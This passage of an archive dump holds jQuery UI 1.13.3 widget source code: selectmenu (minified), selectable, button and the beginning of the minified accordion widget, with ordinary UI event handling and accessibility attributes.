"+this.options.icons.button),this.buttonItem=this._renderButtonItem(i).appendTo(this.button),!1!==this.options.width&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){t._rendered||t._refreshMenu()})},_drawMenu:function(){var i=this;this.menu=u("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=u("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(e,t){e.preventDefault(),i._setSelection(),i._select(t.item.data("ui-selectmenu-item"),e)},focus:function(e,t){t=t.item.data("ui-selectmenu-item");null!=i.focusIndex&&t.index!==i.focusIndex&&(i._trigger("focus",e,{item:t}),i.isOpen||i._select(t,e)),i.focusIndex=t.index,i.button.attr("aria-activedescendant",i.menuItems.eq(t.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var e=this.element.find("option");this.menu.empty(),this._parseOptions(e),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,e.length&&(e=this._getSelectedItem(),this.menuInstance.focus(null,e),this._setAria(e.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(e){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",e)))},_position:function(){this.menuWrap.position(u.extend({of:this.button},this.options.position))},close:function(e){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",e))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(e){var t=u("<span>");return this._setText(t,e.label),this._addClass(t,"ui-selectmenu-text"),t},_renderMenu:function(n,e){var s=this,o="";u.each(e,function(e,t){var i;t.optgroup!==o&&(i=u("<li>",{text:t.optgroup}),s._addClass(i,"ui-selectmenu-optgroup","ui-menu-divider"+(t.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),i.appendTo(n),o=t.optgroup),s._renderItemData(n,t)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-selectmenu-item",t)},_renderItem:function(e,t){var i=u("<li>"),n=u("<div>",{title:t.element.attr("title")});return t.disabled&&this._addClass(i,null,"ui-state-disabled"),t.hidden?i.prop("hidden",!0):this._setText(n,t.label),i.append(n).appendTo(e)},_setText:function(e,t){t?e.text(t):e.html(" ")},_move:function(e,t){var i,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),n+=":not(.ui-state-disabled)"),(i="first"===e||"last"===e?i["first"===e?"prevAll":"nextAll"](n).eq(-1):i[e+"All"](n).eq(0)).length&&this.menuInstance.focus(t,i)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(e){this[this.isOpen?"close":"open"](e)},_setSelection:function(){var e;this.range&&(window.getSelection?((e=window.getSelection()).removeAllRanges(),e.addRange(this.range)):this.range.select(),this.button.trigger("focus"))},_documentClick:{mousedown:function(e){!this.isOpen||u(e.target).closest(".ui-selectmenu-menu, #"+u.escapeSelector(this.ids.button)).length||this.close(e)}},_buttonEvents:{mousedown:function(){var e;window.getSelection?(e=window.getSelection()).rangeCount&&(this.range=e.getRangeAt(0)):this.range=document.selection.createRange()},click:function(e){this._setSelection(),this._toggle(e)},keydown:function(e){var t=!0;switch(e.keyCode){case u.ui.keyCode.TAB:case u.ui.keyCode.ESCAPE:this.close(e),t=!1;break;case u.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(e);break;case u.ui.keyCode.UP:e.altKey?this._toggle(e):this._move("prev",e);break;case u.ui.keyCode.DOWN:e.altKey?this._toggle(e):this._move("next",e);break;case u.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(e):this._toggle(e);break;case u.ui.keyCode.LEFT:this._move("prev",e);break;case u.ui.keyCode.RIGHT:this._move("next",e);break;case u.ui.keyCode.HOME:case u.ui.keyCode.PAGE_UP:this._move("first",e);break;case u.ui.keyCode.END:case u.ui.keyCode.PAGE_DOWN:this._move("last",e);break;default:this.menu.trigger(e),t=!1}t&&e.preventDefault()}},_selectFocusedItem:function(e){var t=this.menuItems.eq(this.focusIndex).parent("li");t.hasClass("ui-state-disabled")||this._select(t.data("ui-selectmenu-item"),e)},_select:function(e,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=e.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(e)),this._setAria(e),this._trigger("select",t,{item:e}),e.index!==i&&this._trigger("change",t,{item:e}),this.close(t)},_setAria:function(e){e=this.menuItems.eq(e.index).attr("id");this.button.attr({"aria-labelledby":e,"aria-activedescendant":e}),this.menu.attr("aria-activedescendant",e)},_setOption:function(e,t){var i;"icons"===e&&(i=this.button.find("span.ui-icon"),this._removeClass(i,null,this.options.icons.button)._addClass(i,null,t.button)),this._super(e,t),"appendTo"===e&&this.menuWrap.appendTo(this._appendTo()),"width"===e&&this._resizeButton()},_setOptionDisabled:function(e){this._super(e),this.menuInstance.option("disabled",e),this.button.attr("aria-disabled",e),this._toggleClass(this.button,null,"ui-state-disabled",e),this.element.prop("disabled",e),e?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var e=this.options.appendTo;return e=(e=(e=e&&(e.jquery||e.nodeType?u(e):this.document.find(e).eq(0)))&&e[0]?e:this.element.closest(".ui-front, dialog")).length?e:this.document[0].body},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var e=this.options.width;!1===e?this.button.css("width",""):(null===e&&(e=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(e))},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var e=this._super();return e.disabled=this.element.prop("disabled"),e},_parseOptions:function(e){var i=this,n=[];e.each(function(e,t){n.push(i._parseOption(u(t),e))}),this.items=n},_parseOption:function(e,t){var i=e.parent("optgroup");return{element:e,index:t,value:e.val(),label:e.text(),hidden:i.prop("hidden")||e.prop("hidden"),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||e.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}])}); jquery/ui/selectable.js 0000644 00000017701 15111757755 0011165 0 ustar 00 /*! * jQuery UI Selectable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Selectable //>>group: Interactions //>>description: Allows groups of elements to be selected with the mouse. //>>docs: https://api.jqueryui.com/selectable/ //>>demos: https://jqueryui.com/selectable/ //>>css.structure: ../../themes/base/selectable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.selectable", $.ui.mouse, { version: "1.13.3", options: { appendTo: "body", autoRefresh: true, distance: 0, filter: "*", tolerance: "touch", // Callbacks selected: null, selecting: null, start: null, stop: null, unselected: null, unselecting: null }, _create: function() { var that = this; this._addClass( "ui-selectable" ); this.dragged = false; // Cache selectee children based on filter this.refresh = function() { that.elementPos = $( that.element[ 0 ] ).offset(); that.selectees = $( that.options.filter, that.element[ 0 ] ); that._addClass( that.selectees, "ui-selectee" ); that.selectees.each( function() { var $this = $( this ), selecteeOffset = $this.offset(), pos = { left: selecteeOffset.left - that.elementPos.left, top: selecteeOffset.top - that.elementPos.top }; $.data( this, "selectable-item", { element: this, $element: $this, left: pos.left, top: pos.top, right: pos.left + $this.outerWidth(), bottom: pos.top + $this.outerHeight(), startselected: false, selected: $this.hasClass( "ui-selected" ), selecting: $this.hasClass( "ui-selecting" ), unselecting: $this.hasClass( "ui-unselecting" ) } ); } ); }; this.refresh(); this._mouseInit(); this.helper = $( "<div>" ); this._addClass( this.helper, "ui-selectable-helper" ); }, _destroy: function() { this.selectees.removeData( "selectable-item" ); this._mouseDestroy(); }, _mouseStart: function( event ) { var that = this, options = this.options; this.opos = [ event.pageX, event.pageY ]; this.elementPos = $( this.element[ 0 ] ).offset(); if ( this.options.disabled ) { return; } this.selectees = $( options.filter, this.element[ 0 ] ); this._trigger( "start", event ); $( options.appendTo ).append( this.helper ); // position helper (lasso) this.helper.css( { "left": event.pageX, "top": event.pageY, "width": 0, "height": 0 } ); if ( options.autoRefresh ) { this.refresh(); } this.selectees.filter( ".ui-selected" ).each( function() { var selectee = $.data( this, "selectable-item" ); selectee.startselected = true; if ( !event.metaKey && !event.ctrlKey ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } ); $( event.target ).parents().addBack().each( function() { var doSelect, selectee = $.data( this, "selectable-item" ); if ( selectee ) { doSelect = ( !event.metaKey && !event.ctrlKey ) || !selectee.$element.hasClass( "ui-selected" ); that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" ) ._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" ); selectee.unselecting = !doSelect; selectee.selecting = doSelect; selectee.selected = doSelect; // selectable (UN)SELECTING callback if ( doSelect ) { that._trigger( "selecting", event, { selecting: selectee.element } ); } else { that._trigger( "unselecting", event, { unselecting: selectee.element } ); } return false; } } ); }, _mouseDrag: function( event ) { this.dragged = true; if ( this.options.disabled ) { return; } var tmp, that = this, options = this.options, x1 = this.opos[ 0 ], y1 = this.opos[ 1 ], x2 = event.pageX, y2 = event.pageY; if ( x1 > x2 ) { tmp = x2; x2 = x1; x1 = tmp; } if ( y1 > y2 ) { tmp = y2; y2 = y1; y1 = tmp; } this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } ); this.selectees.each( function() { var selectee = $.data( this, "selectable-item" ), hit = false, offset = {}; //prevent helper from being selected if appendTo: selectable if ( !selectee || selectee.element === that.element[ 0 ] ) { return; } offset.left = selectee.left + that.elementPos.left; offset.right = selectee.right + that.elementPos.left; offset.top = selectee.top + that.elementPos.top; offset.bottom = selectee.bottom + that.elementPos.top; if ( options.tolerance === "touch" ) { hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 || offset.bottom < y1 ) ); } else if ( options.tolerance === "fit" ) { hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 && offset.bottom < y2 ); } if ( hit ) { // SELECT if ( selectee.selected ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; } if ( selectee.unselecting ) { that._removeClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = false; } if ( !selectee.selecting ) { that._addClass( selectee.$element, "ui-selecting" ); selectee.selecting = true; // selectable SELECTING callback that._trigger( "selecting", event, { selecting: selectee.element } ); } } else { // UNSELECT if ( selectee.selecting ) { if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) { that._removeClass( selectee.$element, "ui-selecting" ); selectee.selecting = false; that._addClass( selectee.$element, "ui-selected" ); selectee.selected = true; } else { that._removeClass( selectee.$element, "ui-selecting" ); selectee.selecting = false; if ( selectee.startselected ) { that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; } // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } if ( selectee.selected ) { if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } } } ); return false; }, _mouseStop: function( event ) { var that = this; this.dragged = false; $( ".ui-unselecting", this.element[ 0 ] ).each( function() { var selectee = $.data( this, "selectable-item" ); that._removeClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = false; selectee.startselected = false; that._trigger( "unselected", event, { unselected: selectee.element } ); } ); $( ".ui-selecting", this.element[ 0 ] ).each( function() { var selectee = $.data( this, "selectable-item" ); that._removeClass( selectee.$element, "ui-selecting" ) ._addClass( selectee.$element, "ui-selected" ); selectee.selecting = false; selectee.selected = true; selectee.startselected = true; that._trigger( "selected", event, { selected: selectee.element } ); } ); this._trigger( "stop", event ); this.helper.remove(); return false; } } ); } ); jquery/ui/button.js 0000644 00000026672 15111757755 0010404 0 ustar 00 /*! * jQuery UI Button 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Button //>>group: Widgets //>>description: Enhances a form with themeable buttons. //>>docs: https://api.jqueryui.com/button/ //>>demos: https://jqueryui.com/button/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/button.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", // These are only for backcompat // TODO: Remove after 1.12 "./controlgroup", "./checkboxradio", "../keycode", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.button", { version: "1.13.3", defaultElement: "<button>", options: { classes: { "ui-button": "ui-corner-all" }, disabled: null, icon: null, iconPosition: "beginning", label: null, showLabel: true }, _getCreateOptions: function() { var disabled, // This is to support cases like in jQuery Mobile where the base widget does have // an implementation of _getCreateOptions options = this._super() || {}; this.isInput = this.element.is( "input" ); disabled = this.element[ 0 ].disabled; if ( disabled != null ) { options.disabled = disabled; } this.originalLabel = this.isInput ? this.element.val() : this.element.html(); if ( this.originalLabel ) { options.label = this.originalLabel; } return options; }, _create: function() { if ( !this.option.showLabel & !this.options.icon ) { this.options.showLabel = true; } // We have to check the option again here even though we did in _getCreateOptions, // because null may have been passed on init which would override what was set in // _getCreateOptions if ( this.options.disabled == null ) { this.options.disabled = this.element[ 0 ].disabled || false; } this.hasTitle = !!this.element.attr( "title" ); // Check to see if the label needs to be set or if its already correct if ( this.options.label && this.options.label !== this.originalLabel ) { if ( this.isInput ) { this.element.val( this.options.label ); } else { this.element.html( this.options.label ); } } this._addClass( "ui-button", "ui-widget" ); this._setOption( "disabled", this.options.disabled ); this._enhance(); if ( this.element.is( "a" ) ) { this._on( { "keyup": function( event ) { if ( event.keyCode === $.ui.keyCode.SPACE ) { event.preventDefault(); // Support: PhantomJS <= 1.9, IE 8 Only // If a native click is available use it so we actually cause navigation // otherwise just trigger a click event if ( this.element[ 0 ].click ) { this.element[ 0 ].click(); } else { this.element.trigger( "click" ); } } } } ); } }, _enhance: function() { if ( !this.element.is( "button" ) ) { this.element.attr( "role", "button" ); } if ( this.options.icon ) { this._updateIcon( "icon", this.options.icon ); this._updateTooltip(); } }, _updateTooltip: function() { this.title = this.element.attr( "title" ); if ( !this.options.showLabel && !this.title ) { this.element.attr( "title", this.options.label ); } }, _updateIcon: function( option, value ) { var icon = option !== "iconPosition", position = icon ? this.options.iconPosition : value, displayBlock = position === "top" || position === "bottom"; // Create icon if ( !this.icon ) { this.icon = $( "<span>" ); this._addClass( this.icon, "ui-button-icon", "ui-icon" ); if ( !this.options.showLabel ) { this._addClass( "ui-button-icon-only" ); } } else if ( icon ) { // If we are updating the icon remove the old icon class this._removeClass( this.icon, null, this.options.icon ); } // If we are updating the icon add the new icon class if ( icon ) { this._addClass( this.icon, null, value ); } this._attachIcon( position ); // If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove // the iconSpace if there is one. if ( displayBlock ) { this._addClass( this.icon, null, "ui-widget-icon-block" ); if ( this.iconSpace ) { this.iconSpace.remove(); } } else { // Position is beginning or end so remove the ui-widget-icon-block class and add the // space if it does not exist if ( !this.iconSpace ) { this.iconSpace = $( "<span> </span>" ); this._addClass( this.iconSpace, "ui-button-icon-space" ); } this._removeClass( this.icon, null, "ui-wiget-icon-block" ); this._attachIconSpace( position ); } }, _destroy: function() { this.element.removeAttr( "role" ); if ( this.icon ) { this.icon.remove(); } if ( this.iconSpace ) { this.iconSpace.remove(); } if ( !this.hasTitle ) { this.element.removeAttr( "title" ); } }, _attachIconSpace: function( iconPosition ) { this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace ); }, _attachIcon: function( iconPosition ) { this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon ); }, _setOptions: function( options ) { var newShowLabel = options.showLabel === undefined ? this.options.showLabel : options.showLabel, newIcon = options.icon === undefined ? this.options.icon : options.icon; if ( !newShowLabel && !newIcon ) { options.showLabel = true; } this._super( options ); }, _setOption: function( key, value ) { if ( key === "icon" ) { if ( value ) { this._updateIcon( key, value ); } else if ( this.icon ) { this.icon.remove(); if ( this.iconSpace ) { this.iconSpace.remove(); } } } if ( key === "iconPosition" ) { this._updateIcon( key, value ); } // Make sure we can't end up with a button that has neither text nor icon if ( key === "showLabel" ) { this._toggleClass( "ui-button-icon-only", null, !value ); this._updateTooltip(); } if ( key === "label" ) { if ( this.isInput ) { this.element.val( value ); } else { // If there is an icon, append it, else nothing then append the value // this avoids removal of the icon when setting label text this.element.html( value ); if ( this.icon ) { this._attachIcon( this.options.iconPosition ); this._attachIconSpace( this.options.iconPosition ); } } } this._super( key, value ); if ( key === "disabled" ) { this._toggleClass( null, "ui-state-disabled", value ); this.element[ 0 ].disabled = value; if ( value ) { this.element.trigger( "blur" ); } } }, refresh: function() { // Make sure to only check disabled if its an element that supports this otherwise // check for the disabled class to determine state var isDisabled = this.element.is( "input, button" ) ? this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" ); if ( isDisabled !== this.options.disabled ) { this._setOptions( { disabled: isDisabled } ); } this._updateTooltip(); } } ); // DEPRECATED if ( $.uiBackCompat !== false ) { // Text and Icons options $.widget( "ui.button", $.ui.button, { options: { text: true, icons: { primary: null, secondary: null } }, _create: function() { if ( this.options.showLabel && !this.options.text ) { this.options.showLabel = this.options.text; } if ( !this.options.showLabel && this.options.text ) { this.options.text = this.options.showLabel; } if ( !this.options.icon && ( this.options.icons.primary || this.options.icons.secondary ) ) { if ( this.options.icons.primary ) { this.options.icon = this.options.icons.primary; } else { this.options.icon = this.options.icons.secondary; this.options.iconPosition = "end"; } } else if ( this.options.icon ) { this.options.icons.primary = this.options.icon; } this._super(); }, _setOption: function( key, value ) { if ( key === "text" ) { this._super( "showLabel", value ); return; } if ( key === "showLabel" ) { this.options.text = value; } if ( key === "icon" ) { this.options.icons.primary = value; } if ( key === "icons" ) { if ( value.primary ) { this._super( "icon", value.primary ); this._super( "iconPosition", "beginning" ); } else if ( value.secondary ) { this._super( "icon", value.secondary ); this._super( "iconPosition", "end" ); } } this._superApply( arguments ); } } ); $.fn.button = ( function( orig ) { return function( options ) { var isMethodCall = typeof options === "string"; var args = Array.prototype.slice.call( arguments, 1 ); var returnValue = this; if ( isMethodCall ) { // If this is an empty collection, we need to have the instance method // return undefined instead of the jQuery instance if ( !this.length && options === "instance" ) { returnValue = undefined; } else { this.each( function() { var methodValue; var type = $( this ).attr( "type" ); var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio"; var instance = $.data( this, "ui-" + name ); if ( options === "instance" ) { returnValue = instance; return false; } if ( !instance ) { return $.error( "cannot call methods on button" + " prior to initialization; " + "attempted to call method '" + options + "'" ); } if ( typeof instance[ options ] !== "function" || options.charAt( 0 ) === "_" ) { return $.error( "no such method '" + options + "' for button" + " widget instance" ); } methodValue = instance[ options ].apply( instance, args ); if ( methodValue !== instance && methodValue !== undefined ) { returnValue = methodValue && methodValue.jquery ? returnValue.pushStack( methodValue.get() ) : methodValue; return false; } } ); } } else { // Allow multiple hashes to be passed on init if ( args.length ) { options = $.widget.extend.apply( null, [ options ].concat( args ) ); } this.each( function() { var type = $( this ).attr( "type" ); var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio"; var instance = $.data( this, "ui-" + name ); if ( instance ) { instance.option( options || {} ); if ( instance._init ) { instance._init(); } } else { if ( name === "button" ) { orig.call( $( this ), options ); return; } $( this ).checkboxradio( $.extend( { icon: false }, options ) ); } } ); } return returnValue; }; } )( $.fn.button ); $.fn.buttonset = function() { if ( !$.ui.controlgroup ) { $.error( "Controlgroup widget missing" ); } if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) { return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button", arguments[ 2 ] ] ); } if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) { return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] ); } if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) { arguments[ 0 ].items = { button: arguments[ 0 ].items }; } return this.controlgroup.apply( this, arguments ); }; } return $.ui.button; } ); jquery/ui/accordion.min.js 0000644 00000021234 15111757755 0011601 0 ustar 00 /*! * jQuery UI Accordion 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../keycode","../unique-id","../widget"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.accordion",{version:"1.13.3",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(e){return e.find("> li > :first-child").add(e.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var e=this.options;this.prevShow=this.prevHide=o(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),e.collapsible||!1!==e.active&&null!=e.active||(e.active=0),this._processPanels(),e.active<0&&(e.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():o()}},_createIcons:function(){var e,t=this.options.icons;t&&(e=o("<span>"),this._addClass(e,"ui-accordion-header-icon","ui-icon "+t.header),e.prependTo(this.headers),e=this.active.children(".ui-accordion-header-icon"),this._removeClass(e,t.header)._addClass(e,null,t.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var e;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),e=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&e.css("height","")},_setOption:function(e,t){"active"===e?this._activate(t):("event"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),"collapsible"!==e||t||!1!==this.options.active||this._activate(0),"icons"===e&&(this._destroyIcons(),t)&&this._createIcons())},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!e)},_keydown:function(e){if(!e.altKey&&!e.ctrlKey){var t=o.ui.keyCode,i=this.headers.length,a=this.headers.index(e.target),s=!1;switch(e.keyCode){case t.RIGHT:case t.DOWN:s=this.headers[(a+1)%i];break;case t.LEFT:case t.UP:s=this.headers[(a-1+i)%i];break;case t.SPACE:case t.ENTER:this._eventHandler(e);break;case t.HOME:s=this.headers[0];break;case t.END:s=this.headers[i-1]}s&&(o(e.target).attr("tabIndex",-1),o(s).attr("tabIndex",0),o(s).trigger("focus"),e.preventDefault())}},_panelKeyDown:function(e){e.keyCode===o.ui.keyCode.UP&&e.ctrlKey&&o(e.currentTarget).prev().trigger("focus")},refresh:function(){var e=this.options;this._processPanels(),!1===e.active&&!0===e.collapsible||!this.headers.length?(e.active=!1,this.active=o()):!1===e.active?this._activate(0):this.active.length&&!o.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(e.active=!1,this.active=o()):this._activate(Math.max(0,e.active-1)):e.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var e=this.headers,t=this.panels;"function"==typeof this.options.header?this.headers=this.options.header(this.element):this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),t&&(this._off(e.not(this.headers)),this._off(t.not(this.panels)))},_refresh:function(){var i,e=this.options,t=e.heightStyle,a=this.element.parent();this.active=this._findActive(e.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var e=o(this),t=e.uniqueId().attr("id"),i=e.next(),a=i.uniqueId().attr("id");e.attr("aria-controls",a),i.attr("aria-labelledby",t)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(e.event),"fill"===t?(i=a.height(),this.element.siblings(":visible").each(function(){var e=o(this),t=e.css("position");"absolute"!==t&&"fixed"!==t&&(i-=e.outerHeight(!0))}),this.headers.each(function(){i-=o(this).outerHeight(!0)}),this.headers.next().each(function(){o(this).height(Math.max(0,i-o(this).innerHeight()+o(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.headers.next().each(function(){var e=o(this).is(":visible");e||o(this).show(),i=Math.max(i,o(this).css("height","").height()),e||o(this).hide()}).height(i))},_activate:function(e){e=this._findActive(e)[0];e!==this.active[0]&&(e=e||this.active[0],this._eventHandler({target:e,currentTarget:e,preventDefault:o.noop}))},_findActive:function(e){return"number"==typeof e?this.headers.eq(e):o()},_setupEvents:function(e){var i={keydown:"_keydown"};e&&o.each(e.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(e){var t=this.options,i=this.active,a=o(e.currentTarget),s=a[0]===i[0],n=s&&t.collapsible,h=n?o():a.next(),r=i.next(),r={oldHeader:i,oldPanel:r,newHeader:n?o():a,newPanel:h};e.preventDefault(),s&&!t.collapsible||!1===this._trigger("beforeActivate",e,r)||(t.active=!n&&this.headers.index(a),this.active=s?o():a,this._toggle(r),this._removeClass(i,"ui-accordion-header-active","ui-state-active"),t.icons&&(h=i.children(".ui-accordion-header-icon"),this._removeClass(h,null,t.icons.activeHeader)._addClass(h,null,t.icons.header)),s)||(this._removeClass(a,"ui-accordion-header-collapsed")._addClass(a,"ui-accordion-header-active","ui-state-active"),t.icons&&(e=a.children(".ui-accordion-header-icon"),this._removeClass(e,null,t.icons.header)._addClass(e,null,t.icons.activeHeader)),this._addClass(a.next(),"ui-accordion-content-active"))},_toggle:function(e){var t=e.newPanel,i=this.prevShow.length?this.prevShow:e.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=t,this.prevHide=i,this.options.animate?this._animate(t,i,e):(i.hide(),t.show(),this._toggleComplete(e)),i.attr({"aria-hidden":"true"}),i.prev().attr({"aria-selected":"false","aria-expanded":"false"}),t.length&&i.length?i.prev().attr({tabIndex:-1,"aria-expanded":"false"}):t.length&&this.headers.filter(function(){return 0===parseInt(o(this).attr("tabIndex"),10)}).attr("tabIndex",-1),t.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(e,i,t){function a(){n._toggleComplete(t)}var s,n=this,h=0,r=e.css("box-sizing"),o=e.length&&(!i.length||e.index()<i.index()),d=this.options.animate||{},o=o&&d.down||d,c=(c="string"==typeof o?o:c)||o.easing||d.easing,l=(l="number"==typeof o?o:l)||o.duration||d.duration;return i.length?e.length?(s=e.show().outerHeight(),i.animate(this.hideProps,{duration:l,easing:c,step:function(e,t){t.now=Math.round(e)}}),void 